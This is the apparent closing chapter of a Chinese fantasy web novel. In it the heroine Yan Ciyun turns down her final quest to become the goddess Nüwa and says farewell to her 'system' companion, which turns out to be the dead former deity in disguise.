房间内，六君子弹冠相庆。 房间外，颜辞云收回目光，静悄悄地乘风离开了。 再次站在皎洁的月色下，颜辞云向自己的系统说道：“瞧，这就是我不想做这个任务的理由，你明白了吗？” 管中窥豹。 见一叶落而知天下秋。 颜辞云不用去太多的地方，寻找太多的“理由”太多的“证据”。 只这两处地方，两个故事，就足以说明一切。 系统沉默了下去。 在这样的时刻，它很想回答颜辞云说自己不明白、不懂她在说什么。 但这样的话谁都骗不过。 它也没有骗过谁的必要。 系统也知道，自己这一刻真正该说的话，或许是一碗热腾腾的鸡汤，说什么生命啊、自由啊、文明啊，之类的东西。 可系统说不出口。 于是系统直接跳过这个问题：【这是你获得的最后一个任务。如果你完成了，你就可以顺利获取神位。】 顿了顿，系统补充：【而到了那时，无论你不喜欢什么、想要抛下什么，都是可以的。】 这已经根本就是明示了，颜辞云当然听懂了。 但她只是笑着问了系统同一个问题：“可是，不完成应该也没有什么关系吧？” 系统卡壳了一下，反问道：【可是，你不是一直想要成为女娲的吗？】 这一回，沉默的人变成了颜辞云。 其实，早在颜辞云探索神通的这些年里，她就已经想起了一些记忆片段。 比如说很久很久以前，当颜辞云还是一个普通人的时候，她在临死时看着天上划过的流星，曾自嘲道： “如果我是女娲好了。” 那只是一句脱口而出的话语。 甚至称不上愿望。 可偏偏，有人听到了她的愿望，并且实现了她的愿望。 它，或者说祂，为颜辞云发布了一系列任务，虽然简单、粗糙，但却都是以颜辞云这个愿望为前提的。 而这些任务会抵达的终点也显而易见——至高神，女娲。 “其实，我当时那个愿望，不是那个意思。”颜辞云的声音柔和下来。 颜辞云说：“你知道吗，我初中的时候，曾经写过一篇作文，是以昭君出塞为主题的。 “我写，昭君出塞这件事，不值得后人的任何赞颂和美化，因为它只是昭君一生悲剧的证明。假如有得选，谁会想要出塞？谁会想要离开家乡和自己熟悉的一切，去一个茹毛饮血的地方和一群动辄杀人的陌生人过完一生？她明明一开始只是想要当一个宫女而已。 “我说，当昭君出塞后，她看向自己家乡的方向，真的没有一丝怨恨吗？她的一生如同浮萍，她只是那个时代下一个普通的女子而已，她从没有享受过任何荣耀，却被迫在关键时刻背负起上等人的大义和两个国家之间的和平。 “当不公的命运——这从未对她公平过的命运，降临于身时，她坐在摇摇晃晃的车上，撩起帘子，在陌生的风沙和车马中回望那个从生到死都在向她索取的国度……在这个时候，她的心里究竟在想什么呢？” 颜辞云停顿片刻，笑了起来：“那是我唯一一篇只得了十五分的作文。当语文老师将写着这篇作文的试卷还给我时，他苦口婆心地告诉我，新编不是胡编，不能以恶意揣测历史人物，要有大视野和忧国忧民的大格局。 “我当时只是听着，没有反驳，可我的心里在说：为什么要有‘大格局’？明明女人在古代等同货物，要求古代女人忧国忧民、自我牺牲，就像是要求海上漂泊中的黑人为葡萄牙和西班牙的生意自豪一样，真是蠢透了。 “……但我没有说。因为我知道有些话是不能说的，而且哪怕说了，别人也不一定能够听懂。” 系统机械的声音此刻意外柔和：【你觉得我能听懂？】 “是的，你能听懂。” 又是一阵沉默。 颜辞云看着天上的月亮，哪怕身旁空无一人，却也并不孤单。 因为当她还是人类的时候，她的乌托邦里就只有她一人。 一个人的乌托邦，其实就是最完美的。 “老实说，我不想成为任何人。”颜辞云看着月亮，柔和说，“我不想被任何规则降伏，不想被任何道德劝诫，不想因苦难低头，也不想被任何[大义]裹挟。 “我想要我就是我，我只是我。” 系统像是叹了口气，又说道：【可你如果不做这件事，你就永远不能成为‘女娲’。】 颜辞云笑道：“如果我会是女娲，我何须用造人来证明我就是女娲？而如果我不会是女娲，我又何苦用造人证明我也可以成为女娲？ “我不在乎这个。因为我就是我，别人的眼光、评价、称呼与注解，都不足百分之一的我。所以我是不是‘女娲’，别人会不会认为我是‘女娲’，这些都不重要。” 系统微微叹息：【看来你已经做下决定。】 “是的。” 【你很坚持？】 “是的。” 【你认为自己不会后悔？】 “当然。做下决定，然后承当后果，同时不要后悔。这是每一个成年人应有的素质。” 【你倒是比……要清醒多了。但这很好。】 这一刻，系统的声音近乎欣慰。 【这很好，去走你自己选择的路吧。而我，我也该离开了。】 颜辞云心跳仿佛漏了一拍：“不能留下来吗？” 系统平静回答：【不行。】 “那……再见？” 【再见。】 话音既落，这个一直陪伴着颜辞云、帮助着颜辞云的系统，也如同系统9122那样，化作流光，飞向宇宙深处。 但颜辞云知道，自己的系统无“家”可回。 因为祂并不是真正的系统。 是的，颜辞云其实已经发现了，这个与自己相伴的，并不是什么“人工智能”，而是神。 是应龙，是女娲，是想要挣脱笼子却又被仁义、慈悲、善良困住，最后困死于大海的上一位至高神。 而神——神怎么会被自己的造物围攻致死呢？ 真正杀死祂的，其实是祂自己的想不通，是涌入祂的脑海让祂彻底放弃的【算了，我无能为力】。 所以祂死了，灵魂游荡在宇宙中。 直到某一天，祂和流星飞过天际时，听到了一个凡人临死前的愿望： “如果我是女娲就好了。” 【为什么会有人想要成为‘女娲’？】 当时的祂或许是这样想的。 【不过，既然你想要成为女娲，那就试试吧！】 于是，死后的颜辞云降临了这个世界。 身无寸缕，如同新生。 又后来，以【系统】伪装自己的祂，没有给颜辞云更多提示和指引，只制作了三个粗陋的【任务】，等待颜辞云的触发。 而直到祂的身体被颜辞云吃掉，化作了颜辞云的一部分；祂的能力化作游戏和技能的模样，被颜辞云获取，终于有成为新一任女娲的资格时，一切走到最后。 所以，此刻，这个以【系统】模样出现在颜辞云面前、为颜辞云实现了愿望的神，此刻并不是“回家”，而是去迎接自己真正的死亡。 祂已经游荡太久了。 祂的真灵想要迎来永久的沉眠。 “那么，一路顺风。” “我的造物主。” 颜辞云向流光消失的方向轻轻低下了头，致以敬意。 “很遗憾我永远不会成为你。” 因为她永远在对世界说不—— 不，我不牺牲！ 不，我不屈服！ 不，我不接受！ 我不需要证明我是谁！ 我就是我。 我永远是我，不会为任何人牺牲，不会被任何道德绑架的我！ 全生避害，为我贵己。 无拘无束，逍遥自在。 这就是她，颜辞云！ 颜辞云深吸了一口气。 当她再抬头时，黑暗已经散去，红日冉冉升起。 可她背对太阳，背对月亮，背对星辰，背对人间，一意孤行，向着只有她一个人的乌托邦飞去。 “回家！” 【正文完】